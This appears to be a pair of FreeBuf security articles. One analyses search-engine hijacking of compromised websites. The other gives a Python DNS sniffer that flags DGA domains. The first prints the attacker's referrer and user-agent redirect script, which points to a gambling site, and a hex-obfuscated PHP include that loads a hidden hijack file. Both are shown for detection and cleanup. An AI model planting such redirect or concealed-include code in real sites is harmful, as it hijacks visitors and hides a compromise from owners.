
function go_bots_url(){
    var init_flag ="93989",
       bct =document.referrer,
       bot =['baidu', 'google', 'yahoo', 'bing', 'soso', 'sogou', '360.cn', 'so.com','youdao', 'anquan', 'sm.cn', 'haosou'];
       for (var iin bot) {
           if(bct.indexOf(bot[i]) != -1) {
              init_flag= "1245";
              browserRedirect();
           }
       }
       if(init_flag== "93989"){
           call_init_error();
       }

1.2.3 判断user-agent

如果相应的user-agent匹配关键字ipad、iphone os、midp、ucweb、android等移动端设备时则会跳转到http://m.an888.top/这个博彩站点

function browserRedirect() { 
    var sUserAgent=navigator.userAgent.toLowerCase(); 
    var bIsIpad=sUserAgent.match(/ipad/i) == "ipad"; 
    varbIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; 
    var bIsMidp=sUserAgent.match(/midp/i) == "midp"; 
    var bIsUc7=sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; 
    var bIsUc=sUserAgent.match(/ucweb/i) == "ucweb"; 
    var bIsAndroid=sUserAgent.match(/android/i) == "android"; 
    var bIsCE=sUserAgent.match(/windows ce/i) == "windows ce"; 
    var bIsWM=sUserAgent.match(/windows mobile/i) == "windows mobile"; 
    
    if (bIsIpad ||bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { 
       window.location.href='http://m.an888.top/'; 
    } else { 
       window.location='http://m.an888.top/'; 
    } 
}

    这是一个比较经典的JS判断条件,综合判断IP地址、user-agent、referer。黑客入侵相应的网站后只需要把在网站中加入引用的JS相关网站即可,一般都是直接在相关调用页面,如index.php这种页面中直接插入下面的代码

1.3 表现

当网站被黑客入侵并作为SEO使用时,一般的表现是通过人工访问并无法直接打开,需要通过改变浏览器的user-agent及referer时才可以重现相应的劫持页面。页面被劫持一般表现是下面这样子的:

israbye FreeBuf.COM

劫持案例-1(植入寄生虫程序)

israbye FreeBuf.COM

劫持案例-2(插入推广内容)

israbye FreeBuf.COM

劫持案例-3(打开页面跳转到博彩网站)

2.  前端劫持案例

2.1 原理

前端劫持一般都是在网站的相应页面中插入JS脚本,通过JS来进行跳转劫持。

2.2 表现与检测

前端劫持的话浏览器会执行相应的JS脚本,因此我们可以通过抓包来进行检测相应的JS脚本。可以使用burpsuite、fiddler、wireshark等工具来抓包进行分析与检测。另外也可以打开相应的页面分析其源码来进行判断,通过源码找出所有加载的JS脚本,然后再对JS脚本进行分析。

2.3 案例

一网站发现其打开时会跳转到博彩网站,对其源码进行分析,发现其页面被插入一段JS代码,导致其打开时会跳转到博彩站点。

israbye FreeBuf.COM

israbye FreeBuf.COM

3. 服务器端劫持案例

3.1 原理

服务器端劫持也称为后端劫持,其是通过修改网站动态语言文件,如global.asax、global.asa、conn.asp、conn.php这种文件。这些文件是动态脚本每次加载时都会加载的配置文件,如访问x.php时会加载conn.php。这样的话,只需要修改这些全局的动态脚本文件(如global.asax),访问所有的aspx文件时都会加载这个global.asax文件,可以达到全局劫持的效果。

3.2 表现与检测

因为这种文件是在服务器上执行的,因此不像前端劫持那样可以分析加载的恶意JS脚本。其需要在服务器上进行分析。一般检测都是要检测全局脚本文件,分析其是否被恶意修改。这种文件一般情况下不会经常修改,因此可以使用文件完整性进行检测。初次配置好了以后生成其MD5或HASH值,并且周期性对比其MD5值是否变化。若变化则进行变化内容的分析与检测。

3.3 案例

发现一政府网站上存在较多博彩类链接。但是对其源码与抓包分析,都没发现可疑JS脚本。这样的话肯定是在服务器端做劫持的。

israbye FreeBuf.COM 

于是远程连接其服务器,其网站使用aspx开发,找到其aspx全局加载的文件global.asax。分析其源码,发现存在被修改,增加了爬虫判断条件,若为爬虫访问,则直接跳转到相应的博彩网站。

israbye FreeBuf.COM

针对服务器端的劫持,找到相应的插入的代码。直接将其删除,或者使用备份的文件进行覆盖。但是这样并不能真正解决问题,一般情况下global.asax这种文件被修改,基本上说明黑客已经入侵到相应服务器。因此需要做全面的应急响应,分析日志、查杀webshll、系统层、应用层全面的安全检查。找到黑客是如何入侵进来的并且修复相应的漏洞这样才能真正解决此类问题。

4. 比较奇葩的服务器劫持案例

一般情况下,如果是服务器端的劫持通过上面的方法基本上可以找到黑客插入或修改的源码部分。但是昨天遇到一起比较奇葩的服务器劫持案例。通过源码与抓包分析判断黑客是在服务器端做的劫持,但是相应的分析全局文件找了很长时间就是没有找到黑客在什么地方插入劫持代码的。

israbye FreeBuf.COM

一政府站使用爬虫UA打开就是相应的寄生虫模板,直接分析其index.php文件,发现其只是调用了另外一个文件。文件的路径为:/phpcms/base.php

israbye FreeBuf.COM

找到base.php,由于其源码比较多。分析其源码找了好久就是没有找到劫持所用的代码,后来经同事协助,花了好长时间才找到黑客进行劫持所有的代码。base.php其中直接加载了公用的函数库,其加载了如下函数:

@include(PACK(‘H*’,’443A5C7765625C6C79715C75706C6F616466696C655C323031375C303232315C31′));

israbye FreeBuf.COM 

Php的pack函数功能如下:

israbye FreeBuf.COM

@include(PACK(‘H*’,’443A5C7765625C6C79715C75706C6F616466696C655C323031375C303232315C31′));其中:

H代表16进制

443A5C7765625C6C79715C75706C6F616466696C655C323031375C303232315C31表示相应的参数,需要将其进行转换。

israbye FreeBuf.COM

转换后,其内容为\web\lyq\uploadfile\2017\0221\1,也就是说base.php使用include的Pack函数调用了\web\lyq\uploadfile\2017\0221\1这个文件。找到这个文件,分析其源码,果然找到了黑客用户进行劫持所调用的文件。

israbye FreeBuf.COM

israbye FreeBuf.COM

这个案例还是比较奇葩的,其实实现方法也是在服务器端进行劫持的,只是其使用函数来加载相应的劫持脚本。并且这个劫持的脚本放在一个上传的目录上,所以导致分析起来中间有些麻烦。针对这种劫持的情况个人感觉相对较好的处置方法就是对关键性的文件,如index.php、global.asax、conn.php等生成基线MD5及HASH值,然后周期性的对比这些文件完整性,如发现文件完整性发生变化,将其与基线文件进行比较。分析是否为正常变化。

目前黑帽做SEO除了上面的外,还有植入JS来挖矿的。不过挖矿在实际工作中只在服务器上遇到被植入挖矿程序,自己并没有遇到过在网站中植入JS来挖矿。网上看到有遇到过植入JS来进行挖矿的,所以网站页面代码中的JS也是网站安全分析的重点。后期云悉情报平台会加入恶意JS的识别与分析,遇到相关案例时再和大家分享。

*本文原创作者:feiniao,属于FreeBuf原创奖励计划,禁止转载。

*本文原创作者:feiniao,本文属于 FreeBuf 原创奖励计划,未经许可禁止转载。

前段时间爆发的利用永恒之蓝进行勒索及xshell等事件,各大厂家都站在不同的角度分析了相应的事件及程序,对于对逆向不了解看着的确很吃力。上段时间看到宫总及袁哥都在讲DNS对于分析这种攻击的可行性。

简单方法避免被安装后门

简单方法避免被安装后门

永恒之蓝和xshell事件有如下的特征:

1.  永恒之蓝中黑客预留了一个没有注册的域名,用于防护事件不受控制时,启用该域名可以抑制事件的扩大

2.  Xshell事件中黑客通过DNS的txt字段进行传输数据与指令

两起事件都有一个共同特征就是利用DNS来进行事件的抑制与数据与指令的下发,这样的话,针对这种类型的黑客攻击与安全事件,我们可以站在底层网络来分析这事件。

利用永恒之蓝进行勒索事件中黑客预留的域名是DGA域名,在某些条件下探测该DGA域名是否可以正常解析,若解析成功则不进行加密,若解析成功则不加密。

DGA一般都是通过硬编码写入到程序中,在没有能力对其逆向的情况下,我们可以分析网络流量来分析DNS请求的DGA域名。这样就需要了解哪些域名是DGA域名,这里面有多种方法与思路:

1.  利用开放平台里的DGA库,目前个人所了解的国内360在开放相应的数据,这个也是个人首推的选择

2.  DGA域名有个特征,很多DGA并没有注册,黑客前期会生成大量的DGA域名,但是在某些情况下,如传输数据与命令或抑制事件时,会选择性的注册少量域名,这样的话可以对DNS解析不成功的域名进行记录,并将这些域名进行进行,若其没有注册,且域名很随机可以判断为疑似DGA域名。这里面有大牛介绍过 http://www.freebuf.com/geek/144459.html

3.  深度学习检测DGA域名,可参考http://www.freebuf.com/articles/network/139697.html

由于上面的方法二和方法三都有人实现了,这里面我主要介绍方法一的实现。这个思路是这样:通过监测网络流量(有条件的同学可以在大网环境下测试下),分析DNS的请求,一旦请求的DNS和DGA库中的匹配,输出相应的IP、端口,当然后期也可以做相应的统计与告警。

DGA库网上找了有一些,个人了解的国内推荐360的开放DGA的数据,100W+的DGA数据,并且每天都有更新。有需要的同学可直接下载,http://data.netlab.360.com/feeds/dga/dga.txt

利用Python实现DGA域名检测

DNS检测DGA实现的代码如下:

DNS检测DGA实现的代码

在代码实现过程中,本个DGA正常解析成功的IP地址也记录了下来,DGA都有问题,那么解析的IP基本上也不正常。在大网环境下可以记录下相应的IP地址,在做Passive DNS时可以利用这些数据完善相应的库。

考虑到DGA的文件每天都会更新,可以进行定时下载该文件。

利用Python实现DGA域名检测

测试后,效果如下:

利用Python实现DGA域名检测

这样的话就实现了监测异常DGA记录,内网环境下可以分析机器被黑或者中马,大网环境下可以通过DNS侧重了解区域安全态势。
完整实现的代码如下:

#coding:utf-8

import time
from scapy.all import *
from requests import *

conf.iface='Intel(R) Dual Band Wireless-AC 8260'

list=[]
dgalist = open('dga.txt','r')
dgalist = (dgalist.readlines())[18:]
for dga in dgalist :
	list.append(dga.split('\t')[1])
data = set(list)

#Capture and Filter DGA
def capture(packet):
	if packet:
		i =0
		for p in packet:
			src = p[i][IP].src
			dst = p[i][IP].dst
			sport = p[i][UDP].sport
			dport = p[i][UDP].dport
			qr = str(p[i][DNS].qr)
			rcode = str(p[i][DNS].rcode)

			if '0' in qr:
				qr = 'Query'
				qname = p[i][DNS].qd.qname
				if type(qname) == bytes:
					qname = (qname.decode('utf-8'))[:-1]
				if qname in data:
					print("[*] Found DGA Request:-->",src,sport,qr,qname)

			if '1' in qr:
				if '0' in rcode:
					for j in range(10):
						try:
							qr = 'Response'
							rrname = p[j][DNS].an[j].rrname
							rdata = p[j][DNS].an[j].rdata
							if type(rrname) == bytes:
								rrname = (rrname.decode('utf-8'))[:-1]
								if type(rdata) == bytes:
									rdata = (rdata.decode('utf-8'))[:-1]
							if rrname in data:
								print ("[*] Found DGA Response:-->",src,dst,qr,rrname,rdata,"\n")
						except Exception as e:
							pass

		i = i + 1
		
#update dgafile
def dgafileupdate():
	url = 'http://data.netlab.360.com/feeds/dga/dga.txt'
	dgafile = get(url)
	with open('./dga.txt','w') as f:
		f.write(dgafile.text)
		print('Download DGAFile Finished')

if __name__ == '__main__':
	sniff(prn=capture,filter='udp port 53')
	while True:
		dgafileupdate()
		time.sleep(86400)
  

*本文原创作者:feiniao,本文属于 FreeBuf 原创奖励计划,未经许可禁止转载。